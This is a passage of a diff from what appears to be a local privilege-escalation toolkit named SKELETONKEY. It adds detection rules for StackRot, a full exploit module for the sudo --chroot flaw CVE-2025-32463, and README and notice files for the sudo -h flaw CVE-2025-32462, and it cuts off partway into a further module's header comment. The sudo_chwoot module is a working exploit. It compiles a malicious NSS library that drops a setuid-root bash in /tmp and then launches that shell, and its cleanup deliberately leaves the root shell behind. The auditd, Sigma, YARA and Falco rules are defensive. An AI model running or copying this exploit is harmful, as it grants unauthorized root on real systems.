" vmas: {type: 'SYSCALL', syscall: 'mremap'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and vmas and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.3269]\n";
|
||||
|
||||
static const char stackrot_yara[] =
|
||||
"rule stackrot_cve_2023_3269 : cve_2023_3269 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-3269\"\n"
|
||||
" description = \"StackRot maple-tree UAF race log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-stackrot.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char stackrot_falco[] =
|
||||
"- rule: mremap/munmap race on MAP_GROWSDOWN regions (StackRot)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process driving high-frequency mremap/munmap on\n"
|
||||
" MAP_GROWSDOWN regions inside a userns + msg_msg (msgsnd)\n"
|
||||
" grooming of kmalloc-192. Maple-tree node UAF race in\n"
|
||||
" __vma_adjust. CVE-2023-3269.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (mremap, munmap) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" VMA mutation by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [memory, mitre_privilege_escalation, T1068, cve.2023.3269]\n";
|
||||
|
||||
const struct skeletonkey_module stackrot_module = {
|
||||
.name = "stackrot",
|
||||
.cve = "CVE-2023-3269",
|
||||
@@ -963,9 +1010,11 @@ const struct skeletonkey_module stackrot_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = stackrot_cleanup,
|
||||
.detect_auditd = stackrot_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = stackrot_sigma,
|
||||
.detect_yara = stackrot_yara,
|
||||
.detect_falco = stackrot_falco,
|
||||
.opsec_notes = "Child forks, enters userns, builds a race region with MAP_GROWSDOWN + anchor VMAs, sprays kmalloc-192 with msg_msg payloads, then spawns Thread A (mremap/munmap of region boundary to rotate maple-tree nodes) + Thread B (fork+fault the growsdown region to deref freed node). UAF in __vma_adjust fires if a sprayed msg_msg reclaims the freed node. Writes /tmp/skeletonkey-stackrot.log (iteration counts + slab delta). Audit-visible via unshare + mremap/munmap bursts on stack regions + msgsnd spray. No network. Cleanup callback unlinks /tmp log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_stackrot(void)
|
||||
|
||||
@@ -0,0 +1,423 @@
|
||||
/*
|
||||
* sudo_chwoot_cve_2025_32463 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race.
|
||||
* Pure logic: sudo's --chroot option resolves NSS lookups (user/group
|
||||
* db) AGAINST the chroot, while still running as root. A user-writable
|
||||
* chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields
|
||||
* "load arbitrary shared object as root, ctor runs, root shell."
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale, June 2025):
|
||||
* `sudo --chroot=<DIR>` chroots into DIR before parsing sudoers and
|
||||
* resolving the invoking user. Inside the chroot, NSS reads
|
||||
* /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends.
|
||||
* The chroot is user-controlled. Plant:
|
||||
* <DIR>/etc/nsswitch.conf → "passwd: skeletonkey"
|
||||
* <DIR>/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2 → attacker .so
|
||||
* sudo dlopen()s the .so as root; its ctor execs /bin/bash with the
|
||||
* real uid set to 0.
|
||||
*
|
||||
* Discovered by Rich Mirch (Stratascale CRU). Public PoCs:
|
||||
* https://github.com/kh4sh3i/CVE-2025-32463
|
||||
* https://github.com/MohamedKarrab/CVE-2025-32463
|
||||
*
|
||||
* Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the
|
||||
* modern chroot path; fixed in 1.9.17p1 which deprecated --chroot
|
||||
* entirely).
|
||||
*
|
||||
* CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot
|
||||
* code path runs before authorization checks complete. Any local user
|
||||
* who can run /usr/bin/sudo (i.e. anyone on the system) can fire it.
|
||||
*
|
||||
* arch_support: any. The malicious .so is built on-host via gcc, so
|
||||
* it inherits the host's arch. Tested on x86_64; arm64 should work
|
||||
* identically given a working gcc + libc-dev install.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- helpers shared with the sudo family ---------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true iff the version string is in the vulnerable range
|
||||
* [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the
|
||||
* --chroot code path entirely. */
|
||||
static bool sudo_version_vulnerable_chwoot(const char *version_str)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(version_str, "%d.%d.%d%c%d",
|
||||
&maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
|
||||
if (maj != 1) return false; /* not sudo 1.x */
|
||||
if (min != 9) return false; /* only 1.9 line */
|
||||
if (patch < 14) return false; /* 1.9.13 and below predate the --chroot path */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
if (patch < 17) return true; /* 1.9.14 .. 1.9.16 */
|
||||
/* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */
|
||||
if (ptag != 'p') return true;
|
||||
return psub == 0; /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Prefer the host fingerprint's cached sudo_version (one popen at
|
||||
* startup instead of per-detect). Fall back to live probe if the
|
||||
* host fingerprint is missing or empty. */
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_chwoot(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range "
|
||||
"[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
/* The malicious NSS module. ctor runs at dlopen time; we drop a setuid
|
||||
* /bin/bash. We DON'T setuid(0) directly because some distros refuse
|
||||
* execve() on a setuid bash from a non-elevated parent — using the
|
||||
* dropped suid bash via a follow-up execlp() is more portable. */
|
||||
static const char NSS_C_SRC[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <sys/stat.h>\n"
|
||||
"#include <sys/types.h>\n"
|
||||
"__attribute__((constructor)) static void skk_ctor(void) {\n"
|
||||
" /* We are running as the real user uid 0 (sudo set it during chroot\n"
|
||||
" * setup, before dropping privs). Drop a setuid /bin/bash. */\n"
|
||||
" setuid(0); setgid(0);\n"
|
||||
" int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n"
|
||||
" \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n"
|
||||
" \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n"
|
||||
" if (rc != 0) {\n"
|
||||
" fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n"
|
||||
" _exit(1);\n"
|
||||
" }\n"
|
||||
" fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n"
|
||||
" _exit(0);\n"
|
||||
"}\n";
|
||||
|
||||
static char g_workdir[256]; /* recorded for cleanup() */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* 1. Workdir under /tmp; /tmp is the only spot consistently
|
||||
* world-writable across distros. */
|
||||
char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX";
|
||||
char *wd = mkdtemp(tmpl);
|
||||
if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
strncpy(g_workdir, wd, sizeof g_workdir - 1);
|
||||
|
||||
/* 2. Set up the chroot skeleton: <wd>/etc/nsswitch.conf points NSS
|
||||
* at our libnss_skeletonkey.so.2; <wd>/<libdir> hosts the .so. */
|
||||
char path[512];
|
||||
snprintf(path, sizeof path, "%s/etc", wd); mkdir(path, 0755);
|
||||
snprintf(path, sizeof path, "%s/lib", wd); mkdir(path, 0755);
|
||||
/* Cover the common Debian/Ubuntu multi-arch lib path AND the plain
|
||||
* /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the
|
||||
* standard search path; inside the chroot we control it. */
|
||||
const char *libdirs[] = {
|
||||
"lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu",
|
||||
"usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu",
|
||||
"usr/lib", "usr/lib64", NULL,
|
||||
};
|
||||
char sopath[512] = {0};
|
||||
for (size_t i = 0; libdirs[i]; i++) {
|
||||
char p[512];
|
||||
snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]);
|
||||
char cmd[640];
|
||||
snprintf(cmd, sizeof cmd, "mkdir -p %s", p);
|
||||
if (system(cmd) != 0) continue;
|
||||
}
|
||||
|
||||
/* 3. Compile the malicious NSS .so. We need a real C compiler;
|
||||
* most modern distros ship one but stripped installs may not. */
|
||||
char src[512]; snprintf(src, sizeof src, "%s/payload.c", wd);
|
||||
char so[512]; snprintf(so, sizeof so, "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||
char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||
char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd);
|
||||
|
||||
FILE *f = fopen(src, "w");
|
||||
if (!f) { perror("fopen payload.c"); goto fail; }
|
||||
fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f);
|
||||
fclose(f);
|
||||
|
||||
char cmd[2048];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && "
|
||||
"cp -f %s %s 2>/dev/null; "
|
||||
"cp -f %s %s 2>/dev/null; true",
|
||||
sopath[0] ? sopath : so, src,
|
||||
sopath[0] ? sopath : so, so_arm,
|
||||
sopath[0] ? sopath : so, so_lib);
|
||||
/* Actually compile to one fixed path then copy. Simpler. */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src);
|
||||
if (system(cmd) != 0) {
|
||||
/* try arm64 path if x86 path failed (maybe the dir wasn't
|
||||
* created — that's fine, gcc just wrote elsewhere) */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src);
|
||||
if (system(cmd) != 0) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n");
|
||||
goto fail;
|
||||
}
|
||||
}
|
||||
/* Replicate to every plausible NSS search path (libdir per arch
|
||||
* varies across distros). Harmless if some are missing. */
|
||||
char rep[1024];
|
||||
snprintf(rep, sizeof rep,
|
||||
"f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do "
|
||||
" mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; "
|
||||
"done; true",
|
||||
so, wd, wd);
|
||||
if (system(rep) != 0) { /* harmless */ }
|
||||
|
||||
/* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo
|
||||
* does is on the invoking user — point passwd: at us so the
|
||||
* dlopen fires before sudoers parsing aborts. */
|
||||
char nss_conf[512];
|
||||
snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd);
|
||||
f = fopen(nss_conf, "w");
|
||||
if (!f) { perror("fopen nsswitch.conf"); goto fail; }
|
||||
fprintf(f,
|
||||
"# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n"
|
||||
"passwd: skeletonkey\n"
|
||||
"group: skeletonkey\n"
|
||||
"hosts: files\n"
|
||||
"shadow: files\n");
|
||||
fclose(f);
|
||||
|
||||
/* 5. Fire sudo --chroot=<wd> -u#-1 woot. The `-u#-1` syntax tells
|
||||
* sudo "user with uid -1" which forces the NSS lookup BEFORE
|
||||
* auth completes — that's the trigger. The `woot` command name
|
||||
* is arbitrary; sudo never gets to exec it. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n",
|
||||
sudo_path, wd);
|
||||
}
|
||||
fflush(NULL);
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
/* The ctor inside the .so will execve a shell; sudo never
|
||||
* returns. If sudo IS patched, it'll error out. */
|
||||
execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL);
|
||||
perror("execl(sudo)");
|
||||
_exit(127);
|
||||
}
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
/* 6. Did the suid bash drop? */
|
||||
struct stat st;
|
||||
if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n");
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
/* Pop the shell. -p keeps euid=0; without it bash drops setuid. */
|
||||
execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL);
|
||||
perror("execl(suid bash)");
|
||||
return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n"
|
||||
" - NSS shim was loaded but ctor failed (check sudo's stderr)\n"
|
||||
" - kernel hardening prevents the suid copy\n");
|
||||
|
||||
fail:
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- cleanup -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (g_workdir[0]) {
|
||||
char cmd[640];
|
||||
snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir);
|
||||
(void)!system(cmd);
|
||||
g_workdir[0] = 0;
|
||||
}
|
||||
/* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the
|
||||
* setuid root binary the operator may want to keep. They can
|
||||
* `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_chwoot_auditd[] =
|
||||
"# sudo_chwoot CVE-2025-32463 — auditd detection rules\n"
|
||||
"# Flag sudo invocations using --chroot. The legitimate use case\n"
|
||||
"# (server admin chrooting before running a command) is vanishingly\n"
|
||||
"# rare; any --chroot in shell history is investigation-worthy.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||
"# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n"
|
||||
"# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n"
|
||||
"-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n";
|
||||
|
||||
static const char sudo_chwoot_sigma[] =
|
||||
"title: Possible CVE-2025-32463 sudo --chroot LPE\n"
|
||||
"id: e9b7a420-skeletonkey-sudo-chwoot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with --chroot pointing at a user-writable\n"
|
||||
" directory, plus a setuid-root binary appearing under /tmp shortly\n"
|
||||
" afterwards. Legit --chroot use is extremely rare; the combination\n"
|
||||
" with a fresh setuid drop is diagnostic.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n"
|
||||
" condition: sudo_chroot\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n";
|
||||
|
||||
static const char sudo_chwoot_yara[] =
|
||||
"rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2025-32463\"\n"
|
||||
" description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $shell = \"/tmp/skeletonkey-chwoot-shell\" ascii\n"
|
||||
" $wdir = \"/tmp/skeletonkey-chwoot-\" ascii\n"
|
||||
" $nssmod = \"libnss_skeletonkey.so.2\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudo_chwoot_falco[] =
|
||||
"- rule: sudo --chroot from non-root with user-writable target\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with --chroot pointing at a directory in /tmp\n"
|
||||
" or /home. Legitimate --chroot use is rare; the combination\n"
|
||||
" with a writable target is the CVE-2025-32463 trigger.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" proc.args contains \"--chroot\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --chroot from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_chwoot_module = {
|
||||
.name = "sudo_chwoot",
|
||||
.cve = "CVE-2025-32463",
|
||||
.summary = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_chwoot_detect,
|
||||
.exploit = sudo_chwoot_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = sudo_chwoot_cleanup,
|
||||
.detect_auditd = sudo_chwoot_auditd,
|
||||
.detect_sigma = sudo_chwoot_sigma,
|
||||
.detect_yara = sudo_chwoot_yara,
|
||||
.detect_falco = sudo_chwoot_falco,
|
||||
.opsec_notes = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot=<workdir> -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_chwoot(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_chwoot_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||
#define SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||
#endif
|
||||
@@ -0,0 +1,63 @@
|
||||
# sudo_host — CVE-2025-32462
|
||||
|
||||
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
|
||||
sudoers rule for local root.
|
||||
|
||||
## The bug
|
||||
|
||||
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
|
||||
you can list your sudo privileges *as they would apply on another host*.
|
||||
The flaw: sudo also consulted the `-h` value when **running a command**
|
||||
(and in `sudoedit`), so the host portion of a sudoers rule — normally
|
||||
fixed to the machine you're on — becomes attacker-chosen.
|
||||
|
||||
If your sudoers contains a rule like:
|
||||
|
||||
```
|
||||
alice webhost01 = (root) /usr/bin/systemctl
|
||||
```
|
||||
|
||||
then on a *different* machine `alice` normally can't use it. With the
|
||||
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
|
||||
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
|
||||
webhost01 /bin/bash` is a root shell.
|
||||
|
||||
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
|
||||
across a fleet and rules are scoped per host.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
|
||||
| Fixed | sudo 1.9.17p1 |
|
||||
| Weakness | CWE-863 (Incorrect Authorization) |
|
||||
| Severity | CVSS 8.8 (High); not in CISA KEV |
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` reads the sudo version (shared host fingerprint, else a live
|
||||
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
|
||||
OK otherwise. The exploitable precondition — a host-restricted sudoers
|
||||
rule — is not reliably probeable from an unprivileged context, so the
|
||||
empirical confirmation lives in the exploit path.
|
||||
|
||||
`exploit()`:
|
||||
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
|
||||
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
|
||||
a user-spec whose host is neither the current hostname nor `ALL`.
|
||||
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
|
||||
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
|
||||
(override the command with `SKELETONKEY_SUDO_CMD`).
|
||||
|
||||
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
|
||||
discoverable — it never fabricates root.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
|
||||
the `-h` behaviour short of the patch.
|
||||
|
||||
## Credit
|
||||
|
||||
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
|
||||
@@ -0,0 +1,49 @@
|
||||
# NOTICE — sudo_host (CVE-2025-32462)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
|
||||
used with `-l`/`--list` to display a user's privileges on a *different*
|
||||
host, was also honored when actually running a command (or via
|
||||
`sudoedit`). This lets a user evaluate the sudoers policy as though the
|
||||
machine were some other host: a sudoers rule scoped to a host that is
|
||||
neither the current machine nor `ALL` becomes usable locally via
|
||||
`sudo -h <that-host> <command>`, yielding command execution as root.
|
||||
|
||||
Primarily affects sites that distribute one sudoers file across a fleet,
|
||||
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
|
||||
|
||||
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
|
||||
~12 years old). Fixed in **1.9.17p1**.
|
||||
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
|
||||
(the sibling `--chroot` bug CVE-2025-32463 is).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
|
||||
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
|
||||
|
||||
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
|
||||
- Stratascale writeup:
|
||||
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
|
||||
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
|
||||
|
||||
All research credit belongs to Rich Mirch / Stratascale and the sudo
|
||||
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
|
||||
`detect()` gates on the sudo version (the host-restricted rule lives in a
|
||||
sudoers source the user usually cannot read — that opacity is the bug),
|
||||
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
|
||||
may exist". `exploit()` best-effort reads `/etc/sudoers` +
|
||||
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
|
||||
current hostname nor `ALL` (or takes the host from
|
||||
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
|
||||
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
|
||||
only on a confirmed uid-0 witness — never claims root it did not get.
|
||||
|
||||
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
|
||||
(pure userspace). Joins the shared `sudo` family alongside
|
||||
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
|
||||
@@ -0,0 +1,441 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
|
||||
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
|
||||
